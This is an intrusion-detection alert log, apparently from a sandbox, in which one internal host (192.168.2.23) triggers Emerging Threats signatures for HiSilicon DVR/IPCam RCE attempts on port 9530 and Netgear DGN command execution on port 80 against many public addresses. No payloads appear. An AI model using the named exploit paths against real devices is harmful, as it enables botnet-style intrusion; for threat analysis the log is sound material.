05/16/24-16:39:05.698744	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45942	9530	192.168.2.23	201.70.39.222
05/16/24-16:38:50.004161	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42842	9530	192.168.2.23	76.224.22.57
05/16/24-16:38:50.004161	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42842	9530	192.168.2.23	76.224.22.57
05/16/24-16:39:05.675972	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54776	9530	192.168.2.23	192.75.172.82
05/16/24-16:39:05.675972	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54776	9530	192.168.2.23	192.75.172.82
05/16/24-16:39:12.377458	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59310	9530	192.168.2.23	84.227.100.222
05/16/24-16:39:12.377458	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59310	9530	192.168.2.23	84.227.100.222
05/16/24-16:39:05.677789	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55346	9530	192.168.2.23	139.227.173.164
05/16/24-16:39:08.148279	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59770	9530	192.168.2.23	122.159.97.33
05/16/24-16:39:05.677789	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55346	9530	192.168.2.23	139.227.173.164
05/16/24-16:39:08.148279	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59770	9530	192.168.2.23	122.159.97.33
05/16/24-16:38:59.587407	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48486	9530	192.168.2.23	19.97.96.80
05/16/24-16:38:59.587407	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48486	9530	192.168.2.23	19.97.96.80
05/16/24-16:38:57.425705	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58500	9530	192.168.2.23	192.57.4.12
05/16/24-16:39:05.699205	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55414	9530	192.168.2.23	173.49.221.85
05/16/24-16:38:57.425705	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58500	9530	192.168.2.23	192.57.4.12
05/16/24-16:39:05.699205	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55414	9530	192.168.2.23	173.49.221.85
05/16/24-16:39:14.522001	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47938	9530	192.168.2.23	123.188.248.248
05/16/24-16:39:14.522001	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47938	9530	192.168.2.23	123.188.248.248
05/16/24-16:39:08.146724	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47962	9530	192.168.2.23	61.97.153.159
05/16/24-16:39:08.146724	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47962	9530	192.168.2.23	61.97.153.159
05/16/24-16:39:12.402920	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41486	9530	192.168.2.23	204.223.181.242
05/16/24-16:39:12.402920	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41486	9530	192.168.2.23	204.223.181.242
05/16/24-16:38:59.559317	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55176	9530	192.168.2.23	116.114.182.184
05/16/24-16:38:59.559317	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55176	9530	192.168.2.23	116.114.182.184
05/16/24-16:39:14.532687	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39706	9530	192.168.2.23	73.128.153.0
05/16/24-16:39:14.532687	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39706	9530	192.168.2.23	73.128.153.0
05/16/24-16:39:02.726868	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38738	9530	192.168.2.23	164.12.151.208
05/16/24-16:39:08.093015	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45486	9530	192.168.2.23	99.222.28.63
05/16/24-16:39:08.093015	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45486	9530	192.168.2.23	99.222.28.63
05/16/24-16:38:50.004213	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42526	9530	192.168.2.23	19.143.213.237
05/16/24-16:39:05.693247	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34346	9530	192.168.2.23	59.120.125.91
05/16/24-16:38:50.004213	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42526	9530	192.168.2.23	19.143.213.237
05/16/24-16:39:05.693247	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34346	9530	192.168.2.23	59.120.125.91
05/16/24-16:39:02.765744	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44120	9530	192.168.2.23	49.13.241.11
05/16/24-16:39:02.765744	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44120	9530	192.168.2.23	49.13.241.11
05/16/24-16:39:02.726868	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38738	9530	192.168.2.23	164.12.151.208
05/16/24-16:39:02.726987	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57172	9530	192.168.2.23	31.227.25.107
05/16/24-16:38:53.093291	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46706	9530	192.168.2.23	84.146.192.148
05/16/24-16:39:02.726987	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57172	9530	192.168.2.23	31.227.25.107
05/16/24-16:38:53.093291	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46706	9530	192.168.2.23	84.146.192.148
05/16/24-16:39:03.277898	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49898	9530	192.168.2.23	149.114.226.213
05/16/24-16:39:08.041728	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59818	9530	192.168.2.23	171.243.197.230
05/16/24-16:39:08.041728	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59818	9530	192.168.2.23	171.243.197.230
05/16/24-16:39:03.277898	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49898	9530	192.168.2.23	149.114.226.213
05/16/24-16:38:55.193173	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52390	9530	192.168.2.23	32.112.177.226
05/16/24-16:38:55.193173	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52390	9530	192.168.2.23	32.112.177.226
05/16/24-16:39:05.699919	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48548	9530	192.168.2.23	138.36.218.17
05/16/24-16:39:14.510026	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45172	9530	192.168.2.23	117.5.67.224
05/16/24-16:39:05.699919	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48548	9530	192.168.2.23	138.36.218.17
05/16/24-16:39:03.260946	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44994	9530	192.168.2.23	60.180.230.91
05/16/24-16:39:14.491092	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58858	9530	192.168.2.23	171.203.163.234
05/16/24-16:39:14.491092	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58858	9530	192.168.2.23	171.203.163.234
05/16/24-16:39:14.510026	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45172	9530	192.168.2.23	117.5.67.224
05/16/24-16:38:55.174999	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33442	9530	192.168.2.23	100.17.175.197
05/16/24-16:38:55.174999	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33442	9530	192.168.2.23	100.17.175.197
05/16/24-16:39:08.126421	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58440	9530	192.168.2.23	20.159.177.37
05/16/24-16:39:08.126421	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58440	9530	192.168.2.23	20.159.177.37
05/16/24-16:39:02.746062	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47130	9530	192.168.2.23	150.20.197.50
05/16/24-16:39:02.746062	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47130	9530	192.168.2.23	150.20.197.50
05/16/24-16:38:59.518467	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36724	9530	192.168.2.23	88.107.214.30
05/16/24-16:39:16.615688	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58086	9530	192.168.2.23	159.72.39.95
05/16/24-16:39:16.615688	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58086	9530	192.168.2.23	159.72.39.95
05/16/24-16:38:59.518467	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36724	9530	192.168.2.23	88.107.214.30
05/16/24-16:38:57.424456	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47614	9530	192.168.2.23	200.71.37.170
05/16/24-16:38:57.424456	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47614	9530	192.168.2.23	200.71.37.170
05/16/24-16:38:50.004294	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41954	9530	192.168.2.23	60.16.90.147
05/16/24-16:38:50.004294	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41954	9530	192.168.2.23	60.16.90.147
05/16/24-16:39:08.127996	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42882	9530	192.168.2.23	45.60.45.45
05/16/24-16:39:08.127996	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42882	9530	192.168.2.23	45.60.45.45
05/16/24-16:39:05.675869	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45002	9530	192.168.2.23	108.8.185.133
05/16/24-16:39:05.675869	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45002	9530	192.168.2.23	108.8.185.133
05/16/24-16:39:01.474345	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	52788	80	192.168.2.23	120.60.53.184
05/16/24-16:39:14.493489	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59672	9530	192.168.2.23	14.184.27.177
05/16/24-16:39:14.493489	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59672	9530	192.168.2.23	14.184.27.177
05/16/24-16:39:12.384387	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53374	9530	192.168.2.23	128.205.105.253
05/16/24-16:39:12.384387	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53374	9530	192.168.2.23	128.205.105.253
05/16/24-16:39:05.693919	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53298	9530	192.168.2.23	139.245.131.74
05/16/24-16:39:05.693919	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53298	9530	192.168.2.23	139.245.131.74
05/16/24-16:39:02.767174	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52014	9530	192.168.2.23	39.29.72.70
05/16/24-16:39:14.493433	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58588	9530	192.168.2.23	173.68.63.116
05/16/24-16:38:57.437158	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40006	9530	192.168.2.23	153.170.125.72
05/16/24-16:39:02.767174	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52014	9530	192.168.2.23	39.29.72.70
05/16/24-16:38:57.437158	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40006	9530	192.168.2.23	153.170.125.72
05/16/24-16:39:14.493433	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58588	9530	192.168.2.23	173.68.63.116
05/16/24-16:39:14.492314	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58774	9530	192.168.2.23	189.94.193.71
05/16/24-16:39:14.492314	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58774	9530	192.168.2.23	189.94.193.71
05/16/24-16:39:14.527563	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39590	9530	192.168.2.23	80.167.233.238
05/16/24-16:39:14.527563	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39590	9530	192.168.2.23	80.167.233.238
05/16/24-16:39:12.382824	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43378	9530	192.168.2.23	218.238.105.211
05/16/24-16:39:12.382824	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43378	9530	192.168.2.23	218.238.105.211
05/16/24-16:38:59.588286	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35360	9530	192.168.2.23	79.19.0.17
05/16/24-16:38:59.588286	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35360	9530	192.168.2.23	79.19.0.17
05/16/24-16:39:02.747129	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58280	9530	192.168.2.23	203.208.205.53
05/16/24-16:39:02.747129	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58280	9530	192.168.2.23	203.208.205.53
05/16/24-16:39:05.513163	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	59346	80	192.168.2.23	27.250.63.203
05/16/24-16:39:16.615094	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58984	9530	192.168.2.23	131.121.183.23
05/16/24-16:39:16.615094	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58984	9530	192.168.2.23	131.121.183.23
05/16/24-16:39:16.599074	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59232	9530	192.168.2.23	97.63.45.210
05/16/24-16:39:16.599074	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59232	9530	192.168.2.23	97.63.45.210
05/16/24-16:39:03.260946	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44994	9530	192.168.2.23	60.180.230.91
05/16/24-16:38:59.590377	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54352	9530	192.168.2.23	27.86.246.27
05/16/24-16:38:59.559303	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48734	9530	192.168.2.23	19.74.170.254
05/16/24-16:38:59.590377	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54352	9530	192.168.2.23	27.86.246.27
05/16/24-16:38:59.559303	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48734	9530	192.168.2.23	19.74.170.254
05/16/24-16:39:05.677920	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60322	9530	192.168.2.23	166.34.40.176
05/16/24-16:39:05.677920	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60322	9530	192.168.2.23	166.34.40.176
05/16/24-16:39:16.578607	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47606	9530	192.168.2.23	97.72.92.1
05/16/24-16:39:16.578607	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47606	9530	192.168.2.23	97.72.92.1
05/16/24-16:39:02.748802	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53878	9530	192.168.2.23	4.67.254.168
05/16/24-16:39:02.748802	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53878	9530	192.168.2.23	4.67.254.168
05/16/24-16:39:14.525620	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38284	9530	192.168.2.23	97.255.143.143
05/16/24-16:39:14.525620	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38284	9530	192.168.2.23	97.255.143.143
05/16/24-16:38:57.435784	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54772	9530	192.168.2.23	134.138.95.211
05/16/24-16:38:57.435784	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54772	9530	192.168.2.23	134.138.95.211
05/16/24-16:39:16.603143	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34220	9530	192.168.2.23	73.151.230.39
05/16/24-16:39:16.603143	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34220	9530	192.168.2.23	73.151.230.39
05/16/24-16:38:50.047766	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52054	9530	192.168.2.23	78.104.122.133
05/16/24-16:38:50.047766	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52054	9530	192.168.2.23	78.104.122.133
05/16/24-16:39:14.527616	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57466	9530	192.168.2.23	163.135.74.233
05/16/24-16:39:14.527616	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57466	9530	192.168.2.23	163.135.74.233
05/16/24-16:39:14.530344	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47196	9530	192.168.2.23	14.197.93.226
05/16/24-16:39:14.530344	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47196	9530	192.168.2.23	14.197.93.226
05/16/24-16:38:57.407572	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47064	9530	192.168.2.23	172.4.126.223
05/16/24-16:38:57.407572	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47064	9530	192.168.2.23	172.4.126.223
05/16/24-16:38:55.192744	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49588	9530	192.168.2.23	169.141.148.217
05/16/24-16:38:55.192744	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49588	9530	192.168.2.23	169.141.148.217
05/16/24-16:39:14.491199	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49348	9530	192.168.2.23	183.36.140.207
05/16/24-16:39:14.491199	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49348	9530	192.168.2.23	183.36.140.207
05/16/24-16:38:57.432982	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52076	9530	192.168.2.23	107.28.134.234
05/16/24-16:38:57.432982	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52076	9530	192.168.2.23	107.28.134.234
05/16/24-16:39:08.044865	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47562	9530	192.168.2.23	42.163.37.66
05/16/24-16:38:53.065659	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56608	9530	192.168.2.23	200.142.49.242
05/16/24-16:38:59.557691	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34564	9530	192.168.2.23	171.163.157.37
05/16/24-16:38:53.065659	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56608	9530	192.168.2.23	200.142.49.242
05/16/24-16:38:59.557691	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34564	9530	192.168.2.23	171.163.157.37
05/16/24-16:39:08.044865	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47562	9530	192.168.2.23	42.163.37.66
05/16/24-16:39:05.712987	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56028	9530	192.168.2.23	54.122.50.249
05/16/24-16:39:05.712987	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56028	9530	192.168.2.23	54.122.50.249
05/16/24-16:38:55.196495	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56864	9530	192.168.2.23	177.255.191.101
05/16/24-16:38:55.196495	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56864	9530	192.168.2.23	177.255.191.101
05/16/24-16:38:53.398642	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	33974	80	192.168.2.23	63.26.144.6
05/16/24-16:39:05.675837	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55154	9530	192.168.2.23	71.214.126.53
05/16/24-16:38:53.098221	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56020	9530	192.168.2.23	88.52.71.247
05/16/24-16:39:05.675837	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55154	9530	192.168.2.23	71.214.126.53
05/16/24-16:38:53.098221	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56020	9530	192.168.2.23	88.52.71.247
05/16/24-16:39:03.263580	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54456	9530	192.168.2.23	71.131.106.217
05/16/24-16:39:03.263580	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54456	9530	192.168.2.23	71.131.106.217
05/16/24-16:39:14.531149	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59294	9530	192.168.2.23	212.163.21.27
05/16/24-16:39:14.531149	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59294	9530	192.168.2.23	212.163.21.27
05/16/24-16:39:08.146615	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52100	9530	192.168.2.23	165.205.48.73
05/16/24-16:39:08.146615	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52100	9530	192.168.2.23	165.205.48.73
05/16/24-16:38:50.048858	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53912	9530	192.168.2.23	90.208.22.26
05/16/24-16:38:53.013578	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39916	9530	192.168.2.23	53.116.0.123
05/16/24-16:38:50.048858	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53912	9530	192.168.2.23	90.208.22.26
05/16/24-16:39:02.765716	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42126	9530	192.168.2.23	83.214.140.201
05/16/24-16:39:02.765716	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42126	9530	192.168.2.23	83.214.140.201
05/16/24-16:38:50.069051	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34720	9530	192.168.2.23	43.40.65.117
05/16/24-16:39:16.576785	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41912	9530	192.168.2.23	53.182.158.109
05/16/24-16:38:50.069051	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34720	9530	192.168.2.23	43.40.65.117
05/16/24-16:38:53.013578	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39916	9530	192.168.2.23	53.116.0.123
05/16/24-16:39:16.576785	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41912	9530	192.168.2.23	53.182.158.109
05/16/24-16:38:50.046311	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53608	9530	192.168.2.23	104.131.172.115
05/16/24-16:38:50.046311	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53608	9530	192.168.2.23	104.131.172.115
05/16/24-16:39:16.603450	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36598	9530	192.168.2.23	110.249.236.172
05/16/24-16:39:16.603450	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36598	9530	192.168.2.23	110.249.236.172
05/16/24-16:39:08.035669	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43882	9530	192.168.2.23	31.158.28.54
05/16/24-16:39:08.145401	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52356	9530	192.168.2.23	120.17.233.53
05/16/24-16:39:08.149407	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56500	9530	192.168.2.23	143.74.232.152
05/16/24-16:38:55.201908	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42768	9530	192.168.2.23	37.32.104.205
05/16/24-16:38:55.201908	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42768	9530	192.168.2.23	37.32.104.205
05/16/24-16:39:08.035669	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43882	9530	192.168.2.23	31.158.28.54
05/16/24-16:39:08.149407	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56500	9530	192.168.2.23	143.74.232.152
05/16/24-16:39:02.767184	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53392	9530	192.168.2.23	9.235.35.42
